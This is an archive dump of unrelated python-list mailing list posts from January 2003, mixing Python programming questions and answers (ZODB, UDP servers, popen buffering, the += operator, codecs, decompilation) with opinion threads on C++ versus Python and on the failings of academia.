> you're likely to blow off your whole leg.

Ok, I have to ask for some apples to apples in the strategic comparison
dept.  C++ has a bazillion users.  Well, that's an exaggeration, but it has
the lion's share of the programmers.  Enter Python, and "avant garde" Python
aficionados such as found in this forum.  A tiny minority of early converts
who do not experience problems because they're all good engineers anyways.
When Python is finally used by every schmuck out there, to the same degree
that C++ is, I predict you'll see as many people blowing off their leg with
Python as with C++.  At least in terms of rough orders of magnitude.

Python may a be a great productivity tool for the power programmer, but I
seriously doubt that it's any kind of magic bullet for the average engineer.

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From mertz at gnosis.cx  Wed Jan  8 02:23:31 2003
From: mertz at gnosis.cx (Lulu of the Lotus-Eaters)
Date: Wed, 08 Jan 2003 02:23:31 -0500
Subject: Python vs .Net (
References: <mailman.1041982992.14279.python-list@python.org>
 <Pine.GSO.4.21.0301081443160.4782-100000@supreme.pcug.org.au>
 <avg9tu$f1rlb$1@ID-117651.news.dfncis.de>
Message-ID: <zH9G+kKkXU0J092yn@gnosis.cx>         

Avery Andrews wrote:
|> 'twould be odd for USA-ans to be looking to Latin America and China
|> for the defense of freedom, but such is life ...

"Peter Wu" <peterwu at hotmail.com> wrote previously:
|No politics, please.

Well, if c.l.py is a democracy, my vote is for "more politics,
please"... but that might verge on political :-).

Yours, Lulu...

--
    _/_/_/ THIS MESSAGE WAS BROUGHT TO YOU BY: Postmodern Enterprises _/_/_/
   _/_/    ~~~~~~~~~~~~~~~~~~~~[mertz at gnosis.cx]~~~~~~~~~~~~~~~~~~~~~  _/_/
  _/_/  The opinions expressed here must be those of my employer...   _/_/
 _/_/_/_/_/_/_/_/_/_/ Surely you don't think that *I* believe them!  _/_/





From mlsj at earthlink.net  Mon Jan 13 21:17:15 2003
From: mlsj at earthlink.net (Josh)
Date: 14 Jan 2003 02:17:15 GMT
Subject: Finding Clock speed
Message-ID: <Xns9302CE55E6761jslmAAearthlinknet@130.133.1.4>

Is there any way at all to find the clock speed on a Windows box from a 
Python module?



From john.abel at pa.press.net  Tue Jan 28 11:12:55 2003
From: john.abel at pa.press.net (John Abel)
Date: Tue, 28 Jan 2003 16:12:55 +0000
Subject: Problem using ZODB With Python
Message-ID: <3E36AC07.3030802@pa.press.net>

Hi,

I posted this to the ZODB-DEV without much success, and I wondered if 
there were any other people using Python and ZODB outside of Zope, who 
may be able to point me in the right direction.

I have a script, that writes to a local ZODB.FileStorage.  It works for 
the first 3, or so times, then stops updating, no matter how many times 
I run it.

Any ideas/pointers?  I'm using Python 2.2.2 and ZODB 3.1.1.  The script 
does the same thing under Linux and Win32.

Thanks in advance.

John





From peter at engcorp.com  Sun Jan  5 10:01:46 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sun, 05 Jan 2003 10:01:46 -0500
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <slrnb1g1qr.sgg.karsten@datasink.webmonster.de>
Message-ID: <3E1848DA.DE85B247@engcorp.com>

"Karsten W. Rohrbach" wrote:
> 
> Python is an interpreted, object-oriented, weak-typed, [...] programming

As Paul said, you misspelled "strong", but also forgot "and dynamically typed".

(See frequent and by now almost tedious past discussions in this group
as to why Python is most definitely not a "weakly typed" language.)

-Peter



From urfaust at optushome.com.au  Sat Jan  4 18:19:04 2003
From: urfaust at optushome.com.au (faust)
Date: Sat, 04 Jan 2003 15:19:04 -0800
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <slrnb18rrp.7kd.rmunn@rmunnlfs.dyndns.org> <slrnb19use.h00.grey@teleute.dmiyu.org> <3e154de3_2@mk-nntp-2.news.uk.tiscali.com> <3E156ABB.CC059072@alcyone.com> <877kdmax29.fsf@gvdnet.dk> <3E16382D.48801EF9@alcyone.com>
Message-ID: <opqe1vcjjqrpaoeds83cdgsn2qnl62fv8p@4ax.com>

 Erik Max Francis <max at alcyone.com> ,  emitted these fragments:

 
>It's also possible there are different metrics for "learning curve"
>being used here.  If you were to insist that learning curve apply to
>_all_ of emacs' features, then yes, obviously it has a massive learning
>curve simply because there are so many. 

Good point.

I use emacs as my only editor.
I use emacs eshell as my only commandshell ( when in XP or NT )
I use emacs calc as my sole calculator
I use emacs calendar as my sole calendar.

However, I am not familiar enough with gnus to use it as my sole email
and news reader.

Some day, when I have learned enough about gnus, I hope to do so....

--------------------------------------------------------
Come see,
real flowers
of this pain-filled world.

(from Basho)



From max at alcyone.com  Tue Jan 21 01:27:36 2003
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 20 Jan 2003 22:27:36 -0800
Subject: 3D and floating point optimization
References: <mailman.1043120437.26463.python-list@python.org>
Message-ID: <3E2CE858.DC901838@alcyone.com>

"Simon Wittber (Maptek)" wrote:

> Many years ago, using fixed point numbers to speed up calculations
> (esp.
> in the demo-scene) was a standard optimization, which would speed up
> code by orders of magnitude.
> 
> I have been experimenting with Python+OpenGL and have run into a few
> speed bumps.
> 
> My question is, considering the speed of today's FPUs, is using fixed
> point math still a valid optimization, in Python?

Probably not.  With dedicated FPUs, floating point operations tend to
outperform fixed point operations, but the details really depend on
precisely what you're up to.  For instance, if your FPU natively uses
doubles instead of floats (C terminology, not Python), then doing
calculations with floats instead of doubles may actually be _slower_
because of the implicit conversions that have to take place.

Chances are that in a modern, real-world application, using fixed point
would be unlikely to help.  At the very least do some profiling first so
you have some quantitative data about exactly where the bottlneck is; it
may not in fact be anywhere near where you initially thought.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ To be refutable is not the least charm of a theory.
\__/ Friedrich Nietzsche
    REALpolitik / http://www.realpolitik.com/
 Get your own customized newsfeed online in realtime ... for free!



From karsten at rohrbach.de  Thu Jan 23 19:21:28 2003
From: karsten at rohrbach.de (Karsten W. Rohrbach)
Date: 24 Jan 2003 00:21:28 GMT
Subject: web-hosted python
References: <3E2FB200.37D48DF0@gol.ge> <GDPX9.551208$4B2.76617898@amsnews03.chello.com>
Message-ID: <slrnb31211.hko.karsten@datasink.webmonster.de>

Thijs Cobben <nntp0103 at thijscobben.nl> wrote:
> Mine would be, istd. of mod_python:
>     * ZOPE (because of pcgi_wrapper and DocumentTemplates)

I'd stick (in case of Zope) to Zope ZServer with Apache/mod_proxy as
front end and psycopg/PostgreSQL as RDBMS.

> Very efficient computing environment, I'ld say.

Having Apache with mod_proxy and mod_rewrite as intermediate caching
front end improves performance quite a bit. PCGI is not as easy to
handle and not as performant, from my experiences.

Regards,
/k



From lac at strakt.com  Mon Jan  6 06:59:42 2003
From: lac at strakt.com (Laura Creighton)
Date: Mon, 06 Jan 2003 12:59:42 +0100
Subject: Laura's List - was Re: new years resolutions 
In-Reply-To: Message from Ben Leslie <benno@sesgroup.net> 
   of "Mon, 06 Jan 2003 21:25:51 +1100." <20030106212551.A19866@bob.sesgroup.com.au> 
References: <20030106212551.A19866@bob.sesgroup.com.au> 
Message-ID: <200301061159.h06BxgjL029439@ratthing-b246.strakt.com>

> On Sun, 05 Jan 2003, Laura Creighton wrote:
> 
> > > Now, if I may ask a personal question, what you didn't like in science/ac
> adem
> > > ia ?
> 
> Although I agre with a lot of what you have said, I thought someone
> better stand up on the side of academia. I'll add the disclaimer however
> that I've only just finished my first undergraduate degree, so I may
> not have had enough time to experience all the lows possible in 
> academia, or more likely I've been lucky with the lectures I've had
> and the other students I've worked with.

Thank you ever so much for writing.  Your perspective is interesting.
You, sir, have an interesting problem.  Somebody asked me what
I didn't like in academia, and your response is to decide that academia
needs _defending_ from people like me.  And, what is more, some of
your defences are 'well it is no worse than industry'.  We are never,
ever, ever going to reform ourselves into becoming a more ideal
institution as part of a more ideal society if we cannot even dream
of a better world without the things we dislike about ourselves. 

Marx said that religion was the opium of the masses.  Today, I suspect
he would pick  mass-entertainment, and in particular Spectator Sports.
You sound, to me, as if you believe that the sort of blind loyalty one
traditionally gives to one's home town sport's team belongs to your
profession, your field of study, or some other class interest (say
the class 'academics').  I suggest shaking the obedience out of your
head at the earliest possible opportunity ...  (BUT AFTER YOUR
LAST SET OF EXAMS if you aren't done yet!  Save mental housecleaning
for AFTER you get your marks back ...)  But we will assume that you
are completely done, and continue ....

>  
> > This is just off the top of my head....
> > 
> > 1. preoccupation with cleverness as opposed to wisdom
> 
> Care to expand on this point? I don't quite get what you mean.

Sure thing.  Do you mean -- 'I don't know the difference between
wisdom and cleverness?' or 'I don't know how to recognise clever
foolishness when it happens around me?' or 'I don't know why
getting the correct answer --- as opposed to having the correct
process -- tends to reward cleverness and not wisdom?' or (most
likely) something else.

> 
> > 2. giving the job of 'preparing people for industry' to people who have
> >    mostly never been there.
> 
> Is this really the task of university? I thought university was there to
> teach me to think, not to cram me full of <insert overhyped technology
> here>.

Now that is an interesting comment.  Did you really need to be 'taught 
HOW to think'?  I don't know any universities which actually teach that.
(Some of them, however, teach 'what are good study habits' to people who
up until that point, had never needed any because they were bright enough
to 'wing-it' on no study habits at all.  More should.  Would save on
the suicide attempts, some of which are successful.)  

I would dearly like it we could separate the people who want and
need advanced vocational training, from the people who want to become
academics, from the people who are only having their entrance into
the workforce delayed for some number of years.  

Then we build different institutions for the different needs and get
rid of the fiction that:

a) education is better than training (for all things, since training is
   so, low-class)
b) that which best prepares you to be an academic also best prepares you
   for industry
c) that being an academic means that you are a smarter, and hence better
   person that somebody who isn't an academic, but only a 'professional',
   both of which, of course, are miles above people who don't have
   'professions' but only 'trades'.

This is one bear of a job.  All the people whose sense of self-worth
is based on the notion that they are _better_ than _other people_
rather than that they are _good_ at _some things_ are going to fight
it tooth and nail.  And universities are the absolute model for the
belief that 'I am better than you are because I am smarter than you
are'.  Taking that attitude out of the university is going to make a
Middle East Peace Plan look easy-as-pie.

> > 3. believing that teaching is something that comes naturally.  No effort
> >    is made to train professors on how to teach well.  This is a trainable
> >    skill.
> 
> Have to agree with this one.
> 
> > 5. Greedily embracing the notion that 'a university education is for
> >    everyone' because it means more funding, reguardless of what it means
> >    for would-be academics who now usually have to wait until they get
> >    to grad school -- or now in some fields a postdoc before they can do 
> >    anything truly original.  That is too long a wait.
> 
> I'm not sure what you are suggesting here. Are you saying there are not
> enough interesting problems to tackle, or that universities provide the
> opportunity for people to tackle the problems? (I'm going to assume the
> latter :).  Surely this is up to the student as much as anything, what
> is stopping them from finding some interesting original work?

No, I was actually referring to the wisdom of merging 'professional
training' with 'how to be an academic'.  See part 2.  But your
question is interesting enough in itself.

The answer to your question -- is way too much assigned core preparatory
work which is held out as 'necessary preparation'.  Your own cool
research is the carrot that they hold out to you to keep you on the
treadmill of degree getting.

This, of course, varies from department to department.  There were over
10,000 computer science students in EACH YEAR when I was an undergraduate.
None of those poor souls got to do any original research or work at all.
The whole notion was laughed at, and I got laughed at when I tried it.
This was in direct contract to my experience as a Physics major.  There
were 55 of us in my year, after the first year, (we started with about
200).  There, if you wanted to do something interesting, and you could
get it funded, there was no problem.  The department made sure all the
students were aware of summer work on NSERC funded projects, and when
a we dedided that we wanted to get NSERC to pay for us to fool around
in the laser-lab (though we made things sound more respectable on
the grant) the department was right behind us.  Several professors
volunteered to supervise us, and help us with our ideas.  The rule
was 'if you can get the funding to do it, we will let you fool around
with the laser lab as much as you like'.  It was great.  So I mostly
got the educational experience I wanted from school.  Being a physics
undergraduate was wonderful.

But I think the life of the computer science undergraduate was
complete and utter hell and misery.  And it made them a most obedient,
unimaginative, uncreative passive sheep.  (Which, perhaps, is the
point.  This may be what they believe industry wants, needs, or
deserves.)  There were exceptions, of course, but most of them were
finding the course work hellish because it wasn't interesting enough
-- or because they were spending their time on their own projects,
which was great for them as people but put them at a
grade-disadvantage to most of the people who only lived for marks.


> 
> > 6. Classroom teaching as opposed to Master/Apprentice type relationships.
> 
> Well unfortunately the funding arrangements in most universities do not
> allow this sort of interaction in earlier years. In my expereience though,
> you do have the opportunity for this the Master/Apprentice style of teaching
> in later years.

Or there are too many students.  Note, that I am not saying that the
world would be better off without advanced professional training or
that most people would not be better off wihtout what they learn in
universities.  It is the wisdom of joining professional colleges and
academic ones into something called 'the multi-disciplinary university'
that I question.

> 
> > 7. Preoccupation with novelty, and originality, as opposed to soundness.
> > 8. The complete disreguard of 'good workmanship' as the counterpart to
> >    'sound design'.  These days people are likely to learn that the work
> >    is good because it was 'designed well', as opposed to the fact that
> >    one of many good designs was selected -- the result was good because
> >    _the workmanship was good_.  (Good workmanship cannot save a really
> >    rotten design, unfortunately.)
> 
> I haven't experienced this in my university education. Of course YMMV :)

If you have just finished an undergraduate degree, then I hope this is
because you have attended a rare place that values workmanship.  If
not, if you are moving to industry, you may find that your problems
by knowing too much about design and too little about workmanship
are just beginning.  If you have ever had a design of yours tossed
because it was 'too clever' then you know what I am talking about.
If, on the other hand, the thought of this ever happening to you fills
you with outrage, then I know what the next few years will hold in
store for you.  (It gets better, by the way.)

> 
> > 9. A life focused on Grading people.  Making grades, not knowledge or
> >    wisdom the important centre of the universe.
> 
> I don't know about focused, but this definately is true to a certain
> extent. To get a degree you just need to pass the test, which basically
> ends up meaning, not being in the bottom 25% of a course, because they
> get scaled anyway. There is no measure of how much was actually learned.
> 
> > 10. (in some places) The notion that only the top 10% matter -- the
> >     rest can all go hang.
> 
> I've found, in most courses, a balanced approach. Most of the teaching 
> is really aimed at average. This leaves probably a lot of the top 10%
> bored out of their collective brains. (Unfortunately people learn at
> different rates; it can be frustrating when lecturers revise basic
> concepts (like say converting hex to binary) in 3rd year subjects.)
> Fortunately a few courses balance this by providing advanced challanges
> for the top 10%. I don't see this as a bad thing. (But I may be
> biases, oops, there is that ego you were talking about :).

Grin.  You are seeing this from the perspective of the students, which
is quite understandable.  What I was more unhappy about is the fact that
many professors think that only the top 10% of the people in their
classes matter -- or only grad students matter -- or only _TOP_
grad students matter.  The rest are just cannon fodder which keep
the university in funds.

> 
> > 11. The belief that business is somehow demeaning.
> > 12. The belief that business is somehow superior. 
> > 13. Too many fools.
> > 14. Too swollen egos.
> 
> And how exactly does this different from industry? I find it difficult to
> believe that all the fools and egoists go to academia and none into
> industry.

This isn't the 'why is industry better than academia' list.  'Too many
fools' and 'Too swollen egos' would make my list of what is wrong
with _anything_.  

> > 15. The furthering of the belief that Art is merely entertainment.
> > 16. The furthering of the belief that it is a good idea to appear
> >     better than you really are.
> > 17. Too many people who feel they have the right to be contemptuous of othe
> rs.
> 
> This is sad, but true. :(
> 
> > 18. Too much paperwork.
> 
> Again, I can't really see it as being that much more than industry.

Hee hee.  You need a CAPS system.  see www.strakt.com ...

Seriously, that is the problem that I actually think I mostly know how
can be fixed.  Now there is just a 'simple matter of programming'.
(This is a common phrase around Strakt.  It fits up there with 'in
 our copious spare time'...)

> > 19. Too much specialisation within a given field.
> > 20. Not enough play.
> 
> I think this probably depends a lot on the group you work with.

indeed.  but that is the problem in itself.

> 
> > 21. Really boring textbooks written by people who cannot write.
> 
> Oh yeah. It does make you really appreciate good textbooks
> though :).

Thought you might like this one ...

> 
> > 22. An over-reliance on analytical as opposed to geometric methods.
> > 23. Avoidance of risk.
> > 24. Avoidance of beauty.
> > 25. Focusing on that which can be measured (in itself a good thing, and
> >     the secret of Western success) but not to the extent where that
> >     which cannot be measured is deemed unimportant, or even non-existant.
> > 26. Students who sit like turnips in your lectures.
> 
> Hey, its a lot better than students that answer mobile phones in your
> tutorials!

You need to institute the 'beer buying' rule in your tutorials.  Anybody
whose phone rings in the tutorial has to buy a beer for every single
member of the tutorial, yourself included, at the pub at some set time.
Fixes that  little problem quite nicely.

>  
> > I'll stop now.  I am sure you will get plenty more answers from other
> > people.
> 
> 
> Benno

Thanks ever so much for writing.  You take care now, and good luck
in all your endeavours in the next year.

Laura Creighton




From spencer at efn.org  Tue Jan 14 11:37:00 2003
From: spencer at efn.org (Spencer Ernest Doidge)
Date: Tue, 14 Jan 2003 08:37:00 -0800 (PST)
Subject: Extracting float from string
In-Reply-To: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDFE6@admin56.narex.com>
Message-ID: <Pine.GSU.4.21.0301140836220.27927-100000@garcia.efn.org>

Good software engineering practice suggests that you always design for 
worst case. Usually I don't have to spell that out in discussions
like this.

Spencer Doidge

On Mon, 13 Jan 2003, Bjorn Pettersen wrote:

> > From: Peter Hansen [mailto:peter at engcorp.com] 
> > 
> > Spencer Ernest Doidge wrote:
> > > 
> > > From a previous post,
> > > I got many good solutions to extracting an int from
> > > 'X= 445 A'.
> > > 
> > > Now what about this one?
> > > Somewhere (we don't know where) in this input string, we 
> > > expect to find a float:
> > > ':X=  0.22456  A'
> > > 
> > > How can I suck the float out of this one?
> > 
> > Since you aren't giving almost any more information about this one
> > than the last... I'm not going to play any more.
> > 
> > (If you hadn't noticed, you got exactly seven earnest 
> > attempts (so far)
> > at helping you out in spite of a *pitifully inadequate* specification
> > of your requirements.
> [...]
> 
> Spencer: it might be insightful for you to read
> http://www.tuxedo.org/~esr/faqs/smart-questions.html. People on c.l.py
> are friendly to all newcommers, but probably even more friendly (or at
> least give better answers) you they ask "Smart Questions" <wink>.
> 
> -- bjorn
> 





From nobody at nowhere.com  Fri Jan 31 21:37:58 2003
From: nobody at nowhere.com (Grumfish)
Date: Sat, 01 Feb 2003 02:37:58 GMT
Subject: Character encodings and codecs
Message-ID: <agcm3v8ep1thj579baihnokcr3o6b7c6eb@4ax.com>

I'm trying to read and write files with differend character encodings.
I would like to convert a file from one encoding to another. I assume
I should use the codec module but I'm not sure how. How can I read in
a part at a time of a multibyte encoded file without destroying the
text?

Could some one please post a short example of converting a file from
one multibyte encoding to another without reading the whole file into
memory?

Any online tutorials would also be very helpful.



From drjohn at 21cn.edu.cn  Thu Jan  2 02:10:58 2003
From: drjohn at 21cn.edu.cn (Ripper John)
Date: Thu, 2 Jan 2003 15:10:58 +0800
Subject: Q: How to UDPServer ??
References: <auvks1$atb$1@mail.cn99.com> <3E136F3A.5DA5E216@engcorp.com>
Message-ID: <av1530$1l44$1@mail.cn99.com>

haha, just write like this:

     UDPQuoteSrv.serve_forever()
     TCPQuoteSrv.server_activate()

server_activate() means listen() call, I found it in SocketServer.py

anyway, thanks!

"Peter Hansen" <peter at engcorp.com> ????????????
:3E136F3A.5DA5E216 at engcorp.com...
> "????" wrote:
> >
> > I have some problems in the quote_srv.py I write as below, quote server
on
> > TCP works well, but I can get no message on the UDP mode, are there some
> > problems in the QutoeMyxinHandler ??
>
> > if __name__=='__main__':
> >     UDPQuoteSrv = UDPServer( ('', quote_port), UDPQuoteHandler )
> >     TCPQuoteSrv = TCPServer( ('', quote_port), TCPQuoteHandler )
> >
> >     UDPQuoteSrv.server_activate()
> >     TCPQuoteSrv.serve_forever()
>
> Looks to me like you need to call serve_forever() on the UDPQuoteSrv
> as well, but of course you can't do that on both servers from the
> same thread and get useful results.  Try changing the last line above
> to use the UDPQuoteSrv and see if it works.
>
> (There may be other mistakes, but this one just stood out.  I can't
> be sure this is the only problem you have as I haven't tried to run
> the code.)
>
> -Peter
>





From a.schmolck at gmx.net  Thu Jan 23 10:02:05 2003
From: a.schmolck at gmx.net (Alexander Schmolck)
Date: 23 Jan 2003 15:02:05 +0000
Subject: Is there really a default source encoding?
References: <slrnb2uq0l.d9h.mlh@furu.idi.ntnu.no> <b0o8bp$oa1$03$1@news.t-online.com>
Message-ID: <yfswukv29le.fsf@black132.ex.ac.uk>

"Martin v. L?wis" <martin at v.loewis.de> writes:

> Right. The default encoding is Latin-1, for compatibility with previous
> releases. However, reliance on the default encoding is deprecated, and the
> default encoding will change to ASCII in 2.4. According to the guidelines for

Why not just utf-8? At least the move to ascii might be a (roundabout) step in
that direction...

alex



From essai1 at mci.local  Wed Jan 22 19:10:04 2003
From: essai1 at mci.local (News M Claveau /Hamster-P)
Date: Thu, 23 Jan 2003 01:10:04 +0100
Subject: Accessing a file in a network drive (python under win32)
References: <b714b8de.0301220949.214886e@posting.google.com>
Message-ID: <b0nbg3$106$1@news-reader11.wanadoo.fr>

Hi !

I have the same problem. I had try  /  and  \    it's equal.
I have found than there are no problem, if there are no space into the
pathname...
I have too the problem with os.chdir  but  i have no problem if i
"decompose" :

                    os.chdir('E:\Program Files\toto\tutu')        problem

                    os.chdir("E:\\")
no problem
                    os.chdir("\\Program Files")
                    os.chdir('toto')
                    os.chdir('tutu')


Sorry, i no found solution, but only infos  (and re-sorry for my bad
english).





From phr-n2003b at NOSPAMnightsong.com  Fri Jan 24 15:14:40 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 24 Jan 2003 12:14:40 -0800
Subject: killing thread ?
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <b0rkdb$g9l$01$1@news.t-online.com> <7x3cni1sqp.fsf@ruckus.brouhaha.com> <mailman.1043424035.17589.python-list@python.org> <7xisweedcd.fsf@ruckus.brouhaha.com> <3E3188BF.3C39D8CA@engcorp.com> <7xd6mme5dn.fsf@ruckus.brouhaha.com> <mailman.1043435527.21427.python-list@python.org>
Message-ID: <7xel72qp8v.fsf@ruckus.brouhaha.com>

Jp Calderone <exarkun at intarweb.us> writes:
>   Whether a feature is supported *in the core language* and the
> *official distribution* -is- up to the language developers, though,
> especially in the case of free software.

Yes, indeed, the language developers are perfectly entitled to release
programs that don't live up to the marketing claims written by those
same developers.  However, nobody should then be surprised when users
complain that their expectations have been let down.



From johnroth at ameritech.net  Sun Jan 12 17:54:51 2003
From: johnroth at ameritech.net (John Roth)
Date: Sun, 12 Jan 2003 17:54:51 -0500
Subject: String representation of an identifier's name
References: <67446a0a.0301121334.22fe0673@posting.google.com>
Message-ID: <v23sgen8b6ds55@news.supernews.com>

"Boethius" <boethius at techie.com> wrote in message
news:67446a0a.0301121334.22fe0673 at posting.google.com...
> I think it easier to explain with an example, so here it goes:
> Assuming there's a function fn that does what I want, it would work
like this:
>
> g = 23
> foo = {'a':56}
>
> fn(g) => 'g'
> fn(foo) => 'foo'
>
> How can I write fn? O:-)

In the Python Library Reference, look at the "inspect"
module. It's 3.11 in Python 2.2.2

I believe you want the "getargvalues" function.

HTH
John Roth





From exarkun at intarweb.us  Thu Jan  2 11:35:45 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Thu, 2 Jan 2003 11:35:45 -0500
Subject: how to extract source code from code objects ?
In-Reply-To: <2259b0e2.0301020814.2cbeb25c@posting.google.com>
References: <2259b0e2.0301020814.2cbeb25c@posting.google.com>
Message-ID: <20030102163545.GA23389@meson.dyndns.org>

On Thu, Jan 02, 2003 at 08:14:52AM -0800, Michele Simionato wrote:
> I can compile a string in a code object:
> 
> >>> code_object=compile('x=1','<string>','exec')
> 
> now the code_object.co_code attribute contains the bytecode corresponding
> to the statement x=1:
> 
> >>> code_object.co_code
> '\x7f\x00\x00\x7f\x01\x00d\x00\x00Z\x00\x00d\x01\x00S'
> 
> Is there a way to have back the source code, i.e. the string 'x=1'
> instead of the bytecode ?
> TIA,

>>> import decompyle
>>> decompyle.decompyle(compile('x=1', '<string>', 'exec'))
x = 1

  http://www.crazy-compilers.com/decompyle/

  Jp

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030102/5720a595/attachment.sig>

From exarkun at intarweb.us  Wed Jan 15 00:42:23 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Wed, 15 Jan 2003 00:42:23 -0500
Subject: newbie looking for help, int reference question
In-Reply-To: <353860000.1042568115@localhost.localdomain>
References: <pan.2003.01.14.19.07.19.38207.2750@zonnet.nl> <353860000.1042568115@localhost.localdomain>
Message-ID: <20030115054223.GB9151@meson.dyndns.org>

On Wed, Jan 15, 2003 at 07:15:15AM +1300, Andrew McGregor wrote:
> 
> [snip]
> 
> Assignment is a statement (not an expression) which binds the name(s) on 
> the LHS to the value(s) on the RHS.  The += forms mean the same as their 
> expansion, so
> 
> i += 10
> 
> really is the same as
> 
> i = (i + 10)
> 
> and means 'rebind the name i to the object returned by the expression i + 
> 10'
> 

   Ahhh, no.  += is only sometimes semantically equal to the ... = ... + ...
expansion.  This is the source of much confusion, and a good reason to avoid
+= altogether.  Here are a few examples to demonstrate...

def foo(x, y):
    x += y
    return x

foo(10, 20)
x = foo([], range(3))
print x
print foo(x, x)
print x

  And, of course, my personal favorite:

x = ([],)
x[0] += [None]
print x

  This doesn't have much to do with the original question, but if the use of
+= is avoided, the behavior exhibited should become quite clear.

  Jp

-- 
Lowery's Law:
        If it jams -- force it.  If it breaks, it needed replacing anyway.
--
 12:00am up 30 days, 9:47, 3 users, load average: 0.39, 0.25, 0.25
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030115/ac38949f/attachment.sig>

From hancock at anansispaceworks.com  Thu Jan  9 04:14:17 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Thu, 09 Jan 2003 09:14:17 GMT
Subject: Python patch analog
References: <o31T9.219$Dq.18655@newsread2.prod.itd.earthlink.net> <mailman.1042094227.29342.python-list@python.org>
Message-ID: <J3bT9.1063$Qr4.115123@newsread1.prod.itd.earthlink.net>

Laura Creighton wrote:
> What happens when somebody's computer has a completely wrong idea what
> time
> it is?  What happens when daylight savings time happens?  What happens
> when you share data between users in different time zones? different
> time zones with different rules for what day we start daylight savings?

Yeah, I thought of that, but -- the repository object keeps its own time. 
You just keep track of checkouts and user ids on the server.  I can just 
encode the checkout time as part of the checkout protocol, so that it stays 
with the "local copy" that the user receives (as with CVS, we'll need to 
store some metadata along with the client's "local copy" -- we just keep 
the checkout identity with this metadata).

Of course, the way I want to use it, the local copy is not necessarily 
persistent -- the client does check-out and check-in instead of loading and 
saving the data locally (i.e. the user experience is of working directly on 
the web-accessable object).   Even so, concurrency will happen if two 
people are working on the object at once.

But one could implement CVS-type functionality using it, by having a simple 
client that just saved data and metadata to disk.

It is, of course, true, that I'm shipping the whole data back and forth -- 
not doing the diffing in the client.  So it may not be as bandwidth- 
efficient as CVS.  I'm not sure how important that would be in practice.

If you want to get really fancy, you can even do a hash on the checkout 
data so you can verify the identity of the sender as the one who did the 
checkout in the first place (the signature is just an additional piece of 
metadata to track with the file).

Also, of course, it isn't really *time* that's important -- just the 
correct checkout sequence -- as long as they're in the right order, 
everything is peachy.

Hmm. The server's time could glitch, of course, or be set backwards before 
the last checkout, and that might create a problem.  We could actually use 
an auto-incrementing transaction number, and not use time at all, to avoid 
that problem.  I see time as being more convenient for the people using it, 
though -- of course, we could just keep both data on the transaction, with 
the timestamp being used for readability.

There's another class of events that has to be tracked, which is moderation 
actions. There's actually more than one kind of checkout that can happen at 
a given time (sort of like "branches" in CVS?), in that the changes can be 
made with some pre-existing patches ignored.  In that case, the type of 
checkout made needs to be in the metadata.  In short -- we need enough 
information for the repository to reconstruct what the user would've 
checked out.

Cheers,
Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From P at draigBrady.com  Fri Jan 17 05:24:10 2003
From: P at draigBrady.com (P at draigBrady.com)
Date: Fri, 17 Jan 2003 10:24:10 +0000
Subject: help!! getting output from another process line by line, using
 popen
In-Reply-To: <b08ka1$q8l8@imsp212.netvigator.com>
References: <b08ka1$q8l8@imsp212.netvigator.com>
Message-ID: <3E27D9CA.3010303@draigBrady.com>

cout wrote:
> Help!!
> 
> There are 2 python scripts, one is to print out the output(output.py),
> the other is supposed to get std output from output.py line by line.
> However, it only get all the result after 40 seconds. Not during the
> executing process. Any ideas?
> 
> ===========output.py==============
> #! /usr/bin/python
> 
> import time
> 
> for i in range(1,20,1):
>         print i
           sys.stdout.flush()
>         time.sleep(2)
> 
> ================monitor.py===============
> #! /usr/bin/python
> 
> import os
> import sys, string
> cmd="python output.py"
> 
> handle = os.popen(cmd, 'r', 1)
> for line in handle:
>     print line,
> handle.close()
> 




From mcc at TO.GD-ES.COM  Sun Jan 26 11:51:13 2003
From: mcc at TO.GD-ES.COM (Merton Campbell Crockett)
Date: Sun, 26 Jan 2003 08:51:13 -0800 (PST)
Subject: Python 2.2.2 regrtest.py Module Produces Unpredictable Results
Message-ID: <Pine.BSI.4.21.0301260800010.399-100000@SPIELZEUG.MCC-3.CATO.GD-AIS.COM>

There seems to be a problem with Lib/test/regrtest.py that was included in
the Python 2.2.2 distribution.

After downloading Python 2.2.2, I modified configure to skip tests of
modules that are not supported under BSD/OS 4.x and 5.x.  I ran the standard
regression test using "gmake test".  Lib/test/regrtest.py reported that the
following modules crashed.

	test_long_future.py(c)
	test_math.py(c)

Setting the TESTOPTS environmental variable, I tested each of the modules
individually.  Lib/test/regrtest.py reported that each test completed
successfully in both passes.

This seemed a little strange.  So I changed TESTOPS to conduct the tests in
a random order.  This time both modules passed but two other modules failed.

At first, it appeared that the tests that failed were whatever ended up at 
positions 86 and 91 in the list.  These positions in the list correspond to
the positions in the default order of execution of the above modules.

Several more random tests showed this not to be the case.  Conducting the
regression tests in random order results in random tests failing with tests
failing in pass 1 being successful in pass 2.

How does one know that Python is built correctly when the regression tests
produce different results from run to run and pass to pass?

Is the random test feature one of those "Doctor.  Doctor.  It hurts when I
do this." scenarios?

Merton Campbell Crockett

-- 
BEGIN:				vcard
VERSION:			3.0
FN:				Merton Campbell Crockett
ORG:				General Dynamics Advanced Information Systems;
				Intelligence Solutions
N:				Crockett;Merton;Campbell
EMAIL;TYPE=internet:		mcc at CATO.GD-AIS.COM
TEL;TYPE=work,voice,msg,pref:	+1(805)497-5045
TEL;TYPE=pager,msg:		+1(877)528-0049
